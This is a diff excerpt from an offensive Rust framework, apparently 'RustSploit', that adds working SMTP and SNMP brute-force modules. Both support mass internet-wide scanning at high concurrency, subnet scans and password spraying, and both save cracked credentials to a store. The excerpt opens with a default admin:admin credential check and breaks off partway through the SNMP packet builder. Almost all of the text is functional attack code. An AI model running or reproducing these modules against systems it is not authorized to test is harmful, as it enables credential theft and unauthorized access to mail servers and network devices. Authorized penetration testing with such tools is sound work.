||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
crate::mprintln!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
|
||||
// Persist discovered credential to the framework's credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, 80, "http", "admin", "admin",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/sample_cred_check",
|
||||
).await;
|
||||
} else {
|
||||
crate::mprintln!("{}", "[-] Default credentials admin:admin failed.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::net::{ToSocketAddrs, IpAddr};
|
||||
use std::net::TcpStream;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
|
||||
/// Default SMTP timeout in milliseconds (10 seconds).
|
||||
/// Real SMTP servers often do reverse DNS lookups on connect, taking 5-10s.
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 10_000;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SMTP Brute Force".to_string(),
|
||||
description: "Brute-force SMTP authentication supporting PLAIN and LOGIN mechanisms. Tests credentials against mail servers with combo mode and subnet scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
let users = Arc::new(users);
|
||||
let passes = Arc::new(passes);
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "SMTP",
|
||||
default_port: 25,
|
||||
state_file: "smtp_hose_state.log",
|
||||
default_output: "smtp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
// Quick connect check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let t = target_str.clone();
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&t, port, &u, &p, DEFAULT_TIMEOUT_MS)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let msg = format!("{} -> {}:{}", target_str, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Port", 25, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "smtp_subnet_results.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "smtp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/smtp_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&target_str, port, &user, &pass, DEFAULT_TIMEOUT_MS)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port = cfg_prompt_int_range("port", "Port", 25, 1, 65535).await? as u16;
|
||||
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 8, 1, 256).await? as usize;
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", true).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "smtp_results.txt").await?;
|
||||
|
||||
let usernames = load_lines(&username_wordlist)?;
|
||||
let passwords = load_lines(&password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
|
||||
}
|
||||
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let try_login = move |target: String, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&target, port, &user, &pass, DEFAULT_TIMEOUT_MS)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency: threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms,
|
||||
max_retries: 2,
|
||||
service_name: "smtp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/smtp_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
result.save_to_file(&output_file)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Read a single SMTP response line (terminated by \n).
|
||||
/// Returns the trimmed line or an error on timeout / EOF.
|
||||
fn read_smtp_line(reader: &mut BufReader<&TcpStream>) -> Result<String> {
|
||||
let mut line = String::new();
|
||||
let n = reader.read_line(&mut line).context("SMTP read")?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Connection closed"));
|
||||
}
|
||||
Ok(line.trim_end().to_string())
|
||||
}
|
||||
|
||||
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str, timeout_ms: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_millis(timeout_ms);
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket, timeout)?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut reader = BufReader::new(&stream);
|
||||
// We write via a reference to the same stream (TcpStream is duplex)
|
||||
let mut writer = &stream;
|
||||
|
||||
// Read banner — expect 220
|
||||
let banner = read_smtp_line(&mut reader).context("Banner read")?;
|
||||
if !banner.starts_with("220") {
|
||||
return Err(anyhow!("No 220 banner"));
|
||||
}
|
||||
|
||||
// Send EHLO
|
||||
writer.write_all(b"EHLO scanner\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
let mut login_ok = false;
|
||||
let mut plain_ok = false;
|
||||
let mut ehlo_seen = false;
|
||||
|
||||
// Read multi-line EHLO response (250-... continues, 250 ... ends)
|
||||
// RFC allows arbitrary continuation lines; use generous limit
|
||||
for _ in 0..100 {
|
||||
let line = read_smtp_line(&mut reader).context("EHLO read")?;
|
||||
if line.contains("AUTH") && line.contains("PLAIN") { plain_ok = true; }
|
||||
if line.contains("AUTH") && line.contains("LOGIN") { login_ok = true; }
|
||||
// "250 " (with space) is the final line of the EHLO response
|
||||
if line.starts_with("250 ") { ehlo_seen = true; break; }
|
||||
// If the line doesn't start with 250 at all, something is wrong
|
||||
if !line.starts_with("250") { break; }
|
||||
}
|
||||
if !ehlo_seen { return Ok(false); }
|
||||
|
||||
// Try AUTH PLAIN
|
||||
if plain_ok {
|
||||
let mut blob = vec![0u8];
|
||||
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
|
||||
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
|
||||
writer.write_all(cmd.as_bytes())?;
|
||||
writer.flush()?;
|
||||
|
||||
let resp = read_smtp_line(&mut reader).context("Auth response")?;
|
||||
if resp.starts_with("235") {
|
||||
if let Err(e) = writer.write_all(b"QUIT\r\n") { crate::meprintln!("[!] Write error: {}", e); }
|
||||
if let Err(e) = writer.flush() { crate::meprintln!("[!] Write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if resp.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
|
||||
// Try AUTH LOGIN
|
||||
if login_ok {
|
||||
writer.write_all(b"AUTH LOGIN\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
// Wait for username prompt (334)
|
||||
let prompt1 = read_smtp_line(&mut reader).context("Auth Login prompt")?;
|
||||
if !prompt1.starts_with("334") { return Ok(false); }
|
||||
|
||||
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
|
||||
writer.write_all(ucmd.as_bytes())?;
|
||||
writer.flush()?;
|
||||
|
||||
// Wait for password prompt (334)
|
||||
let prompt2 = read_smtp_line(&mut reader).context("Auth Pass prompt")?;
|
||||
if !prompt2.starts_with("334") { return Ok(false); }
|
||||
|
||||
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
|
||||
writer.write_all(pcmd.as_bytes())?;
|
||||
writer.flush()?;
|
||||
|
||||
let resp = read_smtp_line(&mut reader).context("Auth final response")?;
|
||||
if resp.starts_with("235") {
|
||||
if let Err(e) = writer.write_all(b"QUIT\r\n") { crate::meprintln!("[!] Write error: {}", e); }
|
||||
if let Err(e) = writer.flush() { crate::meprintln!("[!] Write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if resp.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,608 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::{
|
||||
io::Write,
|
||||
net::{IpAddr, SocketAddr},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, ComboMode,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SNMP Brute Force".to_string(),
|
||||
description: "Brute-force SNMPv1/v2c community strings. Discovers read/write community strings on network devices with concurrent scanning and subnet/mass scan support.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompt for SNMP version, returning 0 for v1 or 1 for v2c.
|
||||
async fn prompt_snmp_version() -> Result<u8> {
|
||||
loop {
|
||||
let input = cfg_prompt_default("snmp_version", "SNMP Version (1 or 2c)", "2c").await?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => return Ok(0),
|
||||
"2c" | "2" => return Ok(1),
|
||||
_ => crate::mprintln!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Format SNMP version byte as a display string.
|
||||
fn version_label(v: u8) -> &'static str {
|
||||
if v == 0 {
|
||||
"v1"
|
||||
} else {
|
||||
"v2c"
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
"=== SNMPv1/v2c Brute Force Module ===".bold().cyan()
|
||||
);
|
||||
crate::mprintln!("{}", " Community String Discovery Tool".cyan());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass scan mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let communities_file =
|
||||
cfg_prompt_existing_file("community_wordlist", "Community string wordlist").await?;
|
||||
let snmp_version = prompt_snmp_version().await?;
|
||||
let communities = Arc::new(load_lines(&communities_file)?);
|
||||
if communities.is_empty() {
|
||||
return Err(anyhow!("Community wordlist cannot be empty"));
|
||||
}
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
|
||||
let cfg = MassScanConfig {
|
||||
protocol_name: "SNMP",
|
||||
default_port: 161,
|
||||
state_file: "snmp_hose_state.log",
|
||||
default_output: "snmp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
};
|
||||
|
||||
return run_mass_scan(target, cfg, move |ip: IpAddr, port: u16| {
|
||||
let communities = communities.clone();
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
for community in communities.iter() {
|
||||
match try_snmp_community(&addr, community, snmp_version, timeout).await {
|
||||
Ok(true) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}\n", now, ip, community);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] FOUND: {} -> community: '{}'", addr, community)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
return Some(line);
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(_) => return None,
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
})
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet scan mode (SNMP-specific, UDP — no TCP pre-check) ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
return run_subnet_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Single-target bruteforce via the generic engine ---
|
||||
|
||||
let port = cfg_prompt_port("port", "SNMP Port", 161).await?;
|
||||
let communities_file =
|
||||
cfg_prompt_existing_file("community_wordlist", "Community string wordlist file path")
|
||||
.await?;
|
||||
let snmp_version = prompt_snmp_version().await?;
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 50, 1, 1000).await? as usize;
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let output_file =
|
||||
cfg_prompt_output_file("output_file", "Output file", "snmp_results.txt").await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
|
||||
let norm_target = normalize_target(target)?;
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
crate::mprintln!("[!] Community wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} community strings", communities.len()).cyan()
|
||||
);
|
||||
crate::mprintln!("[*] SNMP Version: {}", version_label(snmp_version));
|
||||
|
||||
// Build combos: empty username, community string as password.
|
||||
let empty_users = vec![String::new()];
|
||||
let combos = generate_combos_mode(&empty_users, &communities, ComboMode::Combo);
|
||||
|
||||
let config = BruteforceConfig {
|
||||
target: norm_target.clone(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 10,
|
||||
jitter_ms: 50,
|
||||
max_retries: 2,
|
||||
service_name: "snmp",
|
||||
source_module: "creds/generic/snmp_bruteforce",
|
||||
};
|
||||
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
// The try_login closure adapts SNMP community-string testing to the
|
||||
// engine's (target, port, user, password) interface. On success it
|
||||
// stores the credential with CredType::Key (SNMP community strings
|
||||
// are keys, not passwords). The engine also stores with
|
||||
// CredType::Password — a harmless duplicate that keeps the generic
|
||||
// engine simple.
|
||||
let result = run_bruteforce(
|
||||
&config,
|
||||
combos,
|
||||
move |target: String, port: u16, _user: String, community: String| {
|
||||
let timeout = timeout;
|
||||
async move {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
match try_snmp_community(&addr, &community, snmp_version, timeout).await {
|
||||
Ok(true) => {
|
||||
// Store with CredType::Key for SNMP semantics
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&target,
|
||||
port,
|
||||
"snmp",
|
||||
"",
|
||||
&community,
|
||||
crate::cred_store::CredType::Key,
|
||||
"creds/generic/snmp_bruteforce",
|
||||
)
|
||||
.await;
|
||||
LoginResult::Success
|
||||
}
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await?;
|
||||
|
||||
// Print results — adapt the engine's generic output for SNMP display
|
||||
if result.found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid community strings found.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] Found {} valid community string(s):",
|
||||
result.found.len()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&output_file)
|
||||
{
|
||||
for (host, _user, community) in &result.found {
|
||||
crate::mprintln!(" {} -> community: '{}'", host, community);
|
||||
let _ = writeln!(file, "{} -> community: '{}'", host, community);
|
||||
}
|
||||
crate::mprintln!("[+] Results saved to '{}'", output_file);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try an SNMP community string via async UDP (no spawn_blocking overhead).
|
||||
async fn try_snmp_community(
|
||||
normalized_addr: &str,
|
||||
community: &str,
|
||||
version: u8, // 0 = v1, 1 = v2c
|
||||
timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let addr: SocketAddr = normalized_addr
|
||||
.parse()
|
||||
.map_err(|e| anyhow!("Invalid address '{}': {}", normalized_addr, e))?;
|
||||
|
||||
let socket = crate::utils::udp_bind(None).await
|
||||
.map_err(|e| anyhow!("Failed to bind UDP socket: {}", e))?;
|
||||
|
||||
let message = build_snmp_get_request(community, version);
|
||||
|
||||
socket
|
||||
.send_to(&message, &addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
|
||||
|
||||
let mut buf = vec![0u8; 4096];
|
||||
match tokio::time::timeout(timeout, socket.recv_from(&mut buf)).await {
|
||||
Ok(Ok((size, _))) => {
|
||||
let response = &buf[..size];
|
||||
if size >= 20 && response[0] == 0x30 {
|
||||
match parse_snmp_response(response) {
|
||||
Ok(valid) => Ok(valid),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
Ok(Err(_)) | Err(_) => Ok(false), // Timeout or recv error = invalid community
|
||||
}
|
||||
}
|
||||
|
||||
/// Parses SNMP response to check if error status is 0 (noError)
|
||||
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
|
||||
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
if response.len() < 20 || response[0] != 0x30 {
|
||||
return Err(anyhow!("Invalid SNMP response header"));
|
||||
}
|
||||
|
||||
// Try to find the PDU (GetResponse-PDU = 0xa2)
|
||||
// The structure is: SEQUENCE (version, community, PDU)
|
||||
// We need to skip version and community to get to the PDU
|
||||
|
||||
let mut pos = 1;
|
||||
|
||||
// Skip length of outer SEQUENCE
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short"));
|
||||
}
|
||||
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += len_bytes;
|
||||
|
||||
// Skip version (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid version field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += vlen_bytes + vlen;
|
||||
|
||||
// Skip community (OCTET STRING)
|
||||
if pos >= response.len() || response[pos] != 0x04 {
|
||||
return Err(anyhow!("Invalid community field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += clen_bytes + clen;
|
||||
|
||||
// Now we should be at the PDU
|
||||
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short for PDU"));
|
||||
}
|
||||
|
||||
let pdu_tag = response[pos];
|
||||
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
|
||||
// Not a GetResponse or GetRequest, might be an error
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
pos += 1;
|
||||
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += pdu_len_bytes;
|
||||
|
||||
// PDU structure: request-id, error-status, error-index, variable-bindings
|
||||
// Skip request-id (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid request-id field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += rid_len_bytes + rid_len;
|
||||
|
||||
// Read error-status (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid error-status field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
|
||||
return Err(anyhow!("Invalid error-status length"));
|
||||
}
|
||||
|
||||
// Read the error status value
|
||||
let error_status = if es_len == 1 {
|
||||
response[pos + es_len_bytes] as u32
|
||||
} else {
|
||||
// Multi-byte integer (shouldn't happen for error status, but handle it)
|
||||
let mut val = 0u32;
|
||||
for i in 0..es_len {
|
||||
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
|
||||
}
|
||||
val
|
||||
};
|
||||
|
||||
// Error status 0 = noError, anything else is an error
|
||||
Ok(error_status == 0)
|
||||
}
|
||||
|
||||
/// Parses BER length field
|
||||
/// Returns (length_value, number_of_bytes_consumed)
|
||||
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
if data.is_empty() {
|
||||
return Err(anyhow!("Empty length field"));
|
||||
}
|
||||
|
||||
let first_byte = data[0];
|
||||
|
||||
if (first_byte & 0x80) == 0 {
|
||||
// Short form: single byte
|
||||
Ok((first_byte as usize, 1))
|
||||
} else {
|
||||
// Long form: first byte indicates number of length bytes
|
||||
let num_bytes = (first_byte & 0x7F) as usize;
|
||||
if num_bytes == 0 {
|
||||
return Err(anyhow!("Indefinite length not supported"));
|
||||
}
|
||||
if num_bytes > 4 {
|
||||
return Err(anyhow!("Length field too large"));
|
||||
}
|
||||
if data.len() < 1 + num_bytes {
|
||||
return Err(anyhow!("Not enough bytes for length field"));
|
||||
}
|
||||
|
||||
let mut length = 0usize;
|
||||
for i in 0..num_bytes {
|
||||
length = (length << 8) | (data[1 + i] as usize);
|
||||
}
|
||||
|
||||
Ok((length, 1 + num_bytes))
|
||||
}
|
||||
}
|
||||
|
||||
/// Builds a simple SNMP GET request packet manually
|
||||
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
|
||||
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
|
||||
// Build components first, then assemble with proper length encoding
|
||||
|
||||
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
|
||||
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
|
||||
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
|
||||
|
||||
// NULL value
|
||||
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
|
||||
|
||||
// VarBind: SEQUENCE of (OID, NULL)
|
||||
let mut var_bind = Vec::new();
|
||||
var_bind.extend_from_slice(&oid_tlv);
|
||||
var_bind.extend_from_slice(&null_tlv);
|
||||
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
|
||||
|
||||
// VarBindList: SEQUENCE of VarBind
|
||||
let mut var_bind_list_content = Vec::new();
|
||||
var_bind_list_content.extend_from_slice(&var_bind_tlv);
|
||||
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
|
||||
|
||||
// Request ID
|
||||
let request_id_tlv = encode_integer_tlv(1u32);
|
||||
|
||||
// Error status (0 = noError)
|
||||
let error_status_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// Error index (0 = noError)
|
||||
let error_index_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// PDU: GetRequest-PDU
|
||||
let mut pdu_content = Vec::new();
|
||||
pdu_content.extend_from_slice(&request_id_tlv);
|
||||
pdu_content.extend_from_slice(&error_status_tlv);
|
||||
pdu_content.extend_from_slice(&error_index_tlv);
|
||||
pdu_content.extend_from_slice(&var_bind_list_tlv);
|
||||
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
